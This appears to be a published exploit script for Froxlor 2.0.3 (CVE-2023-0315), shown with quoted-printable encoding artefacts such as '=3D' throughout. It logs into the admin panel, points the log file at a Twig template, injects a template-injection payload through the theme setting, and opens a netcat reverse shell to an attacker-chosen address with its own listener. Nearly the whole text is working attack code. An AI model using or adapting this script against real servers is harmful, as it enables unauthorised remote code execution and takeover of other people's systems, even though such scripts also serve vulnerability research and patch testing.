1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 |
#!/usr/bin/python3 # Exploit Title: Froxlor 2.0.3 Stable - Remote Code Execution (RCE) # Date: 2023-01-08 # Exploit Author: Askar (@mohammadaskar2) # CVE: CVE-2023-0315 # Vendor Homepage: https://froxlor.org/ # Version: v2.0.3 # Tested on: Ubuntu 20.04 / PHP 8.2 import telnetlib import requests import socket import sys import warnings import random import string from bs4 import BeautifulSoup from urllib.parse import quote from threading import Thread warnings.filterwarnings("ignore", category=3DUserWarning, module=3D'bs4') if len(sys.argv) !=3D 6: print("[~] Usage : ./froxlor-rce.py url username password ip port") exit() url =3D sys.argv[1] username =3D sys.argv[2] password =3D sys.argv[3] ip =3D sys.argv[4] port =3D sys.argv[5] request =3D requests.session() def login(): login_info =3D { "loginname": username, "password": password, "send": "send", "dologin": "" } login_request =3D request.post(url+"/index.php", login_info, allow_redi= rects=3DFalse) login_headers =3D login_request.headers location_header =3D login_headers["Location"] if location_header =3D=3D "admin_index.php": return True else: return False def change_log_path(): change_log_path_url =3D url + "/admin_settings.php?page=3Doverview&part= =3Dlogging" csrf_token_req =3D request.get(change_log_path_url) csrf_token_req_response =3D csrf_token_req.text soup =3D BeautifulSoup(csrf_token_req_response, "lxml") csrf_token =3D (soup.find("meta",{"name":"csrf-token"})["content"]) print("[+] Main CSRF token retrieved %s" % csrf_token) multipart_data =3D { "logger_enabled": (None, "0"), "logger_enabled": (None, "1"), "logger_severity": (None, "2"), "logger_logtypes[]": (None, "file"), "logger_logfile": (None, "/var/www/html/froxlor/templates/Froxlor/f= ooter.html.twig"), "logger_log_cron": (None, "0"), "csrf_token": (None, csrf_token), "page": (None, "overview"), "action": (None, ""), "send": (None, "send") =20 } req =3D request.post(change_log_path_url, files=3Dmultipart_data) response =3D req.text if "The settings have been successfully saved." in response: print("[+] Changed log file path!") return True else: return False def inject_template(): admin_page_path =3D url + "/admin_index.php" csrf_token_req =3D request.get(admin_page_path) csrf_token_req_response =3D csrf_token_req.text soup =3D BeautifulSoup(csrf_token_req_response, "lxml") csrf_token =3D (soup.find("meta",{"name":"csrf-token"})["content"]) onliner =3D "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} = {1} >/tmp/f".format(ip, port) payload =3D "{{['%s']|filter('exec')}}" % onliner data =3D { "theme": payload, "csrf_token": csrf_token, "page": "change_theme", "send": "send", "dosave": "", } req =3D request.post(admin_page_path, data, allow_redirects=3DFalse) try: location_header =3D req.headers["Location"] if location_header =3D=3D "admin_index.php": print("[+] Injected the payload sucessfully!") except: print("[-] Can't Inject payload :/") exit() handler_thread =3D Thread(target=3Dconnection_handler, args=3D(port,)) handler_thread.start() print("[+] Triggering the payload ...") req2 =3D request.get(admin_page_path) def connection_handler(port): print("[+] Listener started on port %s" % port) t =3D telnetlib.Telnet() s =3D socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", int(port))) s.listen(1) conn, addr =3D s.accept() print("[+] Connection received from %s" % addr[0]) t.sock =3D conn print("[+] Heads up, incoming shell!!") t.interact() if login(): print("[+] Successfully Logged in!") index_url =3D url + "/admin_index.php" request.get(index_url) if change_log_path(): inject_template() else: print("[-] Can't login") |